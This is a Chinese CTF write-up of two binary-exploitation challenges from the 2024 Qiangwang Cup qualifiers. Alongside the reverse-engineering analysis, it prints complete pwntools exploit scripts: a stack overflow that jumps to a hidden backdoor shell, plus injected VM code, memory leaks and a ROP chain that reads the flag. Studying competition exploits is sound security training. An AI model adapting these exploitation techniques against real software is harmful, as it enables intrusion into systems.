强网杯 2024 初赛 - PWN Writeup
milkory

两天做两题,最菜的一集。希望明年能进线下赛。

expect_number

题目链接

1
2
3
4
5
6
7
8
9
10
11
12
expect_number (56 solves) [134pt]
题目内容:
积小成多。看看你能用0,1,2构造出那些数字呢?

[*] '~/expect_number'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled

程序初始化时调用了 srand(1),所以运算符并不随机。

选项 3 要求 &unk_5400+12+n 的值等于 0xA2,和题意不符。如果相等则执行 cat gift。(然而并没有什么用)

初步想法是直接暴力求解出符合要求的序列,但执行运算前有一步 movsx eax, al 的操作,当 al 最高位为 1 的时候,被视为负数,于是 eax 高位被填充 1,导致求解困难,同时 gift 不是 flag,pwn 也不是 misc,需要其他利用方法。

image

在程序开始处,菜单输入时通过 try-catch 隐藏了一个后门。

image

同时在动态调试时发现,&unk_5400+0x120 处存在一个指针,指向指向退出函数的指针,会在选项 4 退出时解引用后调用。可以发现,这个指针在可写范围之内,只要输入序列长度等于 0x114,并控制好最终运算结果就能部分覆写。

image

该指针指向一个函数表。

image

其中 sub_2984 存在栈溢出,恰好能够劫持返回地址,同时在 read 时若字节数大于 8 则抛出异常,可以跳转到之前发现的后门。于是,利用思路就很明显了。

image

  • 计算出长度恰好为 0x114,运算结果为 0x60 的输入序列,覆写指针的最低位。
  • 通过 show 函数获取 ELF 泄露。
  • 输入选项 4 退出,调用 sub_2984,覆写 rbp 为 ELF 上的有效地址,覆写返回地址为后门 try-catch 的地址(0x2516)。

最后成功 get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from d import nums

elf = ELF("./expect_number")
context.binary = elf

sh = remote("", 0)

for n in nums:
sh.sendlineafter(b"choice \n", b"1")
sh.sendlineafter(b"\n", str(n).encode())

sh.sendline(b"2")
sh.recvuntil(b": ")
sh.recv(276)
elf.address = u64(sh.recv(6).ljust(8, b"\x00")) - 0x4C60
print("elf @", hex(elf.address))

sh.sendline(b"4")
sh.send(b"a" * 0x20 + p64(elf.bss(0x800)) + p64(elf.address + 0x2516))

sh.interactive()

参考输入序列如下。

1
nums = [1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 2, 2, 2, 2, 0, 0, 2, 2, 2, 2, 2, 1, 1, 2]

prpr

题目链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
prpr (8 solves) [371pt]
题目内容:(无)

[*] '~/prpr'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0012
0004: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0012
0005: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0012
0006: 0x15 0x05 0x00 0x0000003c if (A == exit) goto 0012
0007: 0x15 0x04 0x00 0x000000e7 if (A == exit_group) goto 0012
0008: 0x15 0x03 0x00 0x00000009 if (A == mmap) goto 0012
0009: 0x15 0x02 0x00 0x0000000a if (A == mprotect) goto 0012
0010: 0x15 0x01 0x00 0x0000000c if (A == brk) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW

通过 __printf_chk 函数实现的 VM。

本文将各个寄存器分别记为 %r0-%r6,每次函数调用时分配的空间记为 frame,当前指令的指针记为 ip。根据逆向结果,可知每次调用函数时 frame 大小固定为 0x100,函数返回地址保存在 frame+0x100 处。另外,每次运行代码时会检查栈和 frame 地址的合法性,但 ip 没有检查。

sub_1240 处定义了所有 opcode,其中部分需要留意。

  • %D/%F/%H - 出栈一个元素,并将当前 frame 与该元素逐字节进行逻辑与/或/与非运算,直到遇到 \x00,终止条件显然有问题,可以篡改返回地址。
  • %#V - 出栈一个元素 N,再将 frame+N 上的元素入栈。这里 N 没有检查,可以越界读。
  • %#X - 出栈一个元素 N,再出栈一个元素置于 frame+N。这里 N 没有检查,可以越界写。

从 ELF 从提取出主程序如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
  0x0   %x   0x0     ; exit

func 1
0x1 %a 0x0 ; input
0x2 %Y 0x1 ; pop %r1
0x3 %U 0xff ; push 255
0x4 %k 0x1 ; push %r1
0x5 %r 0x0 ; test >
0x6 %S 0x0 ; jnz 0x0
0x7 %k 0x1 ; push %r1
0x8 %U 0x0 ; push 0
0x9 %r 0x0 ; test >
0xa %S 0x0 ; jnz 0x0 ; 0 <= r1 <= 255
0xb %a 0x0 ; input
0xc %Y 0x2 ; pop %r2
0xd %U 0x3f ; push 63
0xe %k 0x2 ; push %r2
0xf %r 0x0 ; test >
0x10 %S 0x0 ; jnz 0x0
0x11 %k 0x2 ; push %r2
0x12 %U 0x0 ; push 0
0x13 %r 0x0 ; test >
0x14 %S 0x0 ; jnz 0x0 ; 0 <= r2 <= 63
0x15 %k 0x2 ; push %r2
0x16 %U 0x4 ; push 4
0x17 %i 0x0 ; mul
0x18 %c 0x0 ; read
0x19 %k 0x1 ; push %r1
0x1a %D 0x0 ; frame AND stack
0x1b %k 0x2 ; push %r2
0x1c %U 0x4 ; push 4
0x1d %i 0x0 ; mul
0x1e %b 0x0 ; puts
0x1f %n 0x0 ; ret

func 2
0x20 %a 0x0 ; input
0x21 %Y 0x3 ; pop %r3
0x22 %a 0x0 ; input
0x23 %Y 0x4 ; pop %r4
0x24 %U 0x3f ; push 63
0x25 %k 0x4 ; push %r4
0x26 %r 0x0 ; test >
0x27 %S 0x0 ; jnz 0x0
0x28 %k 0x4 ; push %r4
0x29 %U 0x0 ; push 0
0x2a %r 0x0 ; test >
0x2b %S 0x0 ; jnz 0x0 ; 0 <= r4 <= 63
0x2c %U 0x0 ; push 0
0x2d %Y 0x5 ; pop %r5
0x2e %k 0x4 ; push %r4 ; loop begin
0x2f %k 0x5 ; push %r5
0x30 %r 0x0 ; test >
0x31 %S 0x3b ; jnz 0x3b ; r5 > r4 : jump out
0x32 %g 0x3c ; call 0x3c
0x33 %k 0x3 ; push %r3
0x34 %C 0x0 ; and
0x35 %y 0x0 ; output ; output r3 & input (0x3c)
0x36 %k 0x5 ; push %r5
0x37 %U 0x1 ; push 1
0x38 %A 0x0 ; add
0x39 %Y 0x5 ; pop %r5 ; r5++
0x3a %N 0x2e ; jmp 0x2e ; loop end
0x3b %n 0x0 ; ret

func
0x3c %a 0x0 ; input
0x3d %k 0x5 ; push %r5
0x3e %#X 0x0 ; pop n; pop frame#n ; frame[r5] = input
0x3f %k 0x5 ; push %r5
0x40 %#V 0x0 ; pop n; push frame#n
0x41 %U 0xff ; push 255
0x42 %M 0x0 ; test =
0x43 %S 0x0 ; jnz 0x0 ; assert input != 255
0x44 %k 0x5 ; push %r5
0x45 %#V 0x0 ; pop n; push frame#n ; push input
0x46 %n 0x0 ; ret

func main
0x47 %a 0x0 ; input
0x48 %Y 0x0 ; pop %r0
0x49 %U 0x1 ; push 1
0x4a %k 0x0 ; push %r0
0x4b %M 0x0 ; test =
0x4c %T 0x4f ; jz 0x4f
0x4d %g 0x1 ; call 0x1
0x4e %N 0x47 ; jmp 0x47
0x4f %U 0x2 ; push 2
0x50 %k 0x0 ; push %r0
0x51 %M 0x0 ; test =
0x52 %T 0x55 ; jz 0x55
0x53 %g 0x20 ; call 0x20
0x54 %N 0x47 ; jmp 0x47
0x55 %U 0x3 ; push 3
0x56 %k 0x0 ; push %r0
0x57 %M 0x0 ; test =
0x58 %T 0x5b ; jz 0x5b
0x59 %g 0x6e ; call 0x6e
0x5a %N 0x47 ; jmp 0x47
0x5b %U 0x4 ; push 4
0x5c %k 0x0 ; push %r0
0x5d %M 0x0 ; test =
0x5e %T 0x61 ; jz 0x61
0x5f %g 0x8d ; call 0x8d
0x60 %N 0x47 ; jmp 0x47
0x61 %U 0x5 ; push 5
0x62 %k 0x0 ; push %r0
0x63 %M 0x0 ; test =
0x64 %T 0x67 ; jz 0x67
0x65 %g 0xb2 ; call 0xb2
0x66 %N 0x47 ; jmp 0x47
0x67 %U 0x6 ; push 6
0x68 %k 0x0 ; push %r0
0x69 %M 0x0 ; test =
0x6a %T 0x6d ; jz 0x6d
0x6b %g 0xd1 ; call 0xd1
0x6c %N 0x47 ; jmp 0x47
0x6d %x 0x0 ; exit

func 3
0x6e %a 0x0 ; input
0x6f %Y 0x1 ; pop %r1
0x70 %U 0xff ; push 255
0x71 %k 0x1 ; push %r1
0x72 %r 0x0 ; test >
0x73 %S 0x0 ; jnz 0x0
0x74 %k 0x1 ; push %r1
0x75 %U 0x0 ; push 0
0x76 %r 0x0 ; test >
0x77 %S 0x0 ; jnz 0x0 ; 0 <= r1 <= 255
0x78 %a 0x0 ; input
0x79 %Y 0x2 ; pop %r2
0x7a %U 0x3f ; push 63
0x7b %k 0x2 ; push %r2
0x7c %r 0x0 ; test >
0x7d %S 0x0 ; jnz 0x0
0x7e %k 0x2 ; push %r2
0x7f %U 0x0 ; push 0
0x80 %r 0x0 ; test >
0x81 %S 0x0 ; jnz 0x0 ; 0 <= r2 <= 63
0x82 %k 0x2 ; push %r2
0x83 %U 0x4 ; push 4
0x84 %i 0x0 ; mul
0x85 %c 0x0 ; read
0x86 %k 0x1 ; push %r1
0x87 %H 0x0 ; frame XOR stack
0x88 %k 0x2 ; push %r2
0x89 %U 0x4 ; push 4
0x8a %i 0x0 ; mul
0x8b %b 0x0 ; puts
0x8c %n 0x0 ; ret

func 4
0x8d %a 0x0 ; input
0x8e %Y 0x3 ; pop %r3
0x8f %a 0x0 ; input
0x90 %Y 0x4 ; pop %r4
0x91 %U 0x3e ; push 62
0x92 %k 0x4 ; push %r4
0x93 %r 0x0 ; test >
0x94 %S 0x0 ; jnz 0x0
0x95 %k 0x4 ; push %r4
0x96 %U 0x0 ; push 0
0x97 %r 0x0 ; test >
0x98 %S 0x0 ; jnz 0x0 ; 0 <= r4 <= 62
0x99 %U 0x0 ; push 0
0x9a %Y 0x5 ; pop %r5
0x9b %k 0x4 ; push %r4 ; loop begin
0x9c %k 0x5 ; push %r5
0x9d %r 0x0 ; test >
0x9e %S 0xb1 ; jnz 0xb1 ; r5 > r4 : jump out
0x9f %g 0x3c ; call 0x3c
0xa0 %k 0x3 ; push %r3
0xa1 %G 0x0 ; xor
0xa2 %k 0x5 ; push %r5
0xa3 %#X 0x0 ; pop n; pop frame#n ; frame[r5] = r3 ^ input (0x3c)
0xa4 %k 0x5 ; push %r5
0xa5 %#V 0x0 ; pop n; push frame#n
0xa6 %U 0xff ; push 255
0xa7 %M 0x0 ; test =
0xa8 %S 0x0 ; jnz 0x0 ; assert frame[r5] != 255
0xa9 %k 0x5 ; push %r5
0xaa %#V 0x0 ; pop n; push frame#n
0xab %y 0x0 ; output ; output frame[r5]
0xac %k 0x5 ; push %r5
0xad %U 0x1 ; push 1
0xae %A 0x0 ; add
0xaf %Y 0x5 ; pop %r5 ; r5++
0xb0 %N 0x9b ; jmp 0x9b ; loop end
0xb1 %n 0x0 ; ret

func 5
0xb2 %a 0x0 ; input
0xb3 %Y 0x1 ; pop %r1
0xb4 %U 0xff ; push 255
0xb5 %k 0x1 ; push %r1
0xb6 %r 0x0 ; test >
0xb7 %S 0x0 ; jnz 0x0
0xb8 %k 0x1 ; push %r1
0xb9 %U 0x0 ; push 0
0xba %r 0x0 ; test >
0xbb %S 0x0 ; jnz 0x0 ; 0 <= r1 <= 255
0xbc %a 0x0 ; input
0xbd %Y 0x2 ; pop %r2
0xbe %U 0x3f ; push 63
0xbf %k 0x2 ; push %r2
0xc0 %r 0x0 ; test >
0xc1 %S 0x0 ; jnz 0x0
0xc2 %k 0x2 ; push %r2
0xc3 %U 0x0 ; push 0
0xc4 %r 0x0 ; test >
0xc5 %S 0x0 ; jnz 0x0 ; 0 <= r2 <= 63
0xc6 %k 0x2 ; push %r2
0xc7 %U 0x4 ; push 4
0xc8 %i 0x0 ; mul
0xc9 %c 0x0 ; read
0xca %k 0x1 ; push %r1
0xcb %F 0x0 ; frame OR stack
0xcc %k 0x2 ; push %r2
0xcd %U 0x4 ; push 4
0xce %i 0x0 ; mul
0xcf %b 0x0 ; puts
0xd0 %n 0x0 ; ret

func 6
0xd1 %a 0x0 ; input
0xd2 %Y 0x3 ; pop %r3
0xd3 %a 0x0 ; input
0xd4 %Y 0x4 ; pop %r4
0xd5 %U 0x3f ; push 63
0xd6 %k 0x4 ; push %r4
0xd7 %r 0x0 ; test >
0xd8 %S 0x0 ; jnz 0x0
0xd9 %k 0x4 ; push %r4
0xda %U 0x0 ; push 0
0xdb %r 0x0 ; test >
0xdc %S 0x0 ; jnz 0x0 ; 0 <= r4 <= 63
0xdd %U 0x0 ; push 0
0xde %Y 0x5 ; pop %r5
0xdf %k 0x4 ; push %r4 ; loop begin
0xe0 %k 0x5 ; push %r5
0xe1 %r 0x0 ; test >
0xe2 %S 0xf5 ; jnz 0xf5 ; r5 > r4 : jump out
0xe3 %g 0x3c ; call 0x3c
0xe4 %k 0x3 ; push %r3
0xe5 %E 0x0 ; or
0xe6 %k 0x5 ; push %r5
0xe7 %#X 0x0 ; pop n; pop frame#n ; frame[r5] = r3 | input (0x3c)
0xe8 %k 0x5 ; push %r5
0xe9 %#V 0x0 ; pop n; push frame#n
0xea %U 0xff ; push 255
0xeb %M 0x0 ; test =
0xec %S 0x0 ; jnz 0x0 ; assert frame[r5] != 255
0xed %k 0x5 ; push %r5
0xee %#V 0x0 ; pop n; push frame#n
0xef %y 0x0 ; output ; output frame[r5]
0xf0 %k 0x5 ; push %r5
0xf1 %U 0x1 ; push 1
0xf2 %A 0x0 ; add
0xf3 %Y 0x5 ; pop %r5 ; r5++
0xf4 %N 0xdf ; jmp 0xdf ; loop end
0xf5 %n 0x0 ; ret

0xf6 %x 0x0 ; exit
0xf7 %x 0x0 ; exit
0xf8 %x 0x0 ; exit
0xf9 %x 0x0 ; exit

主函数实现了一个菜单,可以调用 6 个函数。根据之前的分析,可以得到以下利用流程。

  1. 调用 func_6,填满 frame_0 和 frame_1。
  2. 调用 func_2,借助 0x3c 处的函数,在 frame_1 上填充利用代码。同时设置 %r4 为 63,函数结束时 %r5 应达到 64。
  3. 调用 func_3,对 frame_0 进行异或操作,修改返回地址为 0x32,借此跳转到 0x3c,由于此时 %r5 为 64,可以任意写返回地址,计算偏移返回到第二步中填充的代码处。

此时可以执行任意 VM 代码。由于设置在堆上,我们首先通过 %#V 越界读,泄露出 ELF 的地址;由于寄存器基址也位于堆上,通过 %#X 越界写,可以将其进行修改为 ELF 的 GOT 表的地址,最后通过 outputputswrite 地址输出。(代码中的 misaka 用于方便 exp 定位;实际运行时有几率获取到错误基址,我也不知道为什么,但问题不大)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
; leak libc
!misaka
push -0x770 ; get ELF low
!%#V
push 0x4198 ; add GOT offset
add
push -0x3ec ; set reg base low
!%#X
push -0x769 ; get ELF high
!%#V
push -0x3eb ; set reg base high
!%#X
push %r0 ; get puts low
push %r1 ; get libc high
output
output
push %r2 ; get write low
output
push 0xf0 ; read & run next code
read
jmp -0x891

实际情况下,由于远程与本地环境不同,需要找到新的偏移量,可以另写一段代码用于遍历输出内存。

获得 putswrite 地址后,通过 libc-database 搜索得到 libc 版本。然后通过 _environ 泄露栈地址,并将寄存器基址指向要插入 ROP 链的地址。由于程序正常退出时也会莫名其妙出现 Bad system call,需要在 __printf_chk 的某个内部函数的栈帧后插入 ROP 链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
; point stack
push %r1
input ; input _environ low
push -0x3ec
!%#X
push -0x3eb
!%#X
push %r0
pop %r0
push %r0
push -0x2610
add
push %r1
push -0x3eb
!%#X
push -0x3ec
!%#X
push 0xf0 ; read & run next code
read
jmp -0x891

然后持续读取 ROP 链插入。由于程序会在 ip 大于 0x250 时返回退出,这里在输入完成后跳转到 0x1000 处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
; rop chain
input
pop %r0
push %r0
push 0xdead
test =
jnz 0x1000
push -0x3ec
!%#V
push 0x4
add
push -0x3ec
!%#X
jmp -0x891

最终 exp 如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

elf = ELF("./prpr")
libc = ELF("./libc.so.6")
context.binary = elf

sh = remote("", 0)

def func_3(m, n, s):
sh.sendline(b"3")
sh.sendline(str(m).encode())
sh.sendline(str(n).encode())
sh.sendline(s)

def func_2(m, s, op=b"2"):
sh.sendline(op)
sh.sendline(str(m).encode())
size = (len(s) + 3) // 4
sh.sendline(str(size - 1).encode())
for i in range(size):
sh.sendline(str(int.from_bytes(s[i * 4 : i * 4 + 4][::-1])).encode())
sh.recvline()

def func_6(m, s):
func_2(m, s, b"6")

def load_code(name):
global code
with open(f"./{name}.bin", "rb") as f:
code = f.read()

sh.recv()

load_code("code1")
func_6(0, b"a" * 256)
func_2(0, code.ljust(256, b"\x00"))
func_3(0x5A ^ 0x32, 1, b"aaaa")
sh.sendline(str(-0x866).encode())

sh.recvuntil(b"misaka")

puts_addr = int(sh.recvuntil(b"\n", True)) << 32
write_addr = puts_addr
puts_addr += int(sh.recvuntil(b"\n", True))
write_addr += int(sh.recvuntil(b"\n", True))
print("puts @", hex(puts_addr))
print("write @", hex(write_addr))

libc.address = puts_addr - libc.sym["puts"]
print("libc @", hex(libc.address))

load_code("code2")
sh.sendline(b"\x00" * 4 + code)
sh.sendline(str(libc.sym["_environ"] & 0xFFFFFFFF).encode())

load_code("code3")
sh.sendline(b"\x00" * 4 + code)

pop_rdi_ret = libc.address + 0x10F75B
pop_rsi_ret = libc.address + 0x110A4D
pop_rax_ret = libc.address + 0xDD237

# add edx, eax ; mov rax, rdx ; pop rbx ; ret
add_edx_ret = libc.address + 0x59CB2

payload = p64(pop_rdi_ret) + p64(libc.bss(0x800))
payload += p64(libc.sym["gets"])
payload += p64(pop_rdi_ret) + p64(2)
payload += p64(pop_rsi_ret) + p64(libc.bss(0x800))
payload += p64(libc.sym['syscall'])
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(libc.bss(0x800))
payload += p64(pop_rax_ret) + p64(0x100)
payload += p64(add_edx_ret) + p64(0)
payload += p64(libc.sym["read"])
payload += p64(pop_rdi_ret) + p64(libc.bss(0x800))
payload += p64(libc.sym["puts"])

for i in range((len(payload) + 3) // 4):
sh.sendline(str(int.from_bytes(payload[i * 4 : i * 4 + 4][::-1])).encode())

sh.sendline(str(0xDEAD).encode())

sh.interactive()

(代码转换留给读者自行完成。)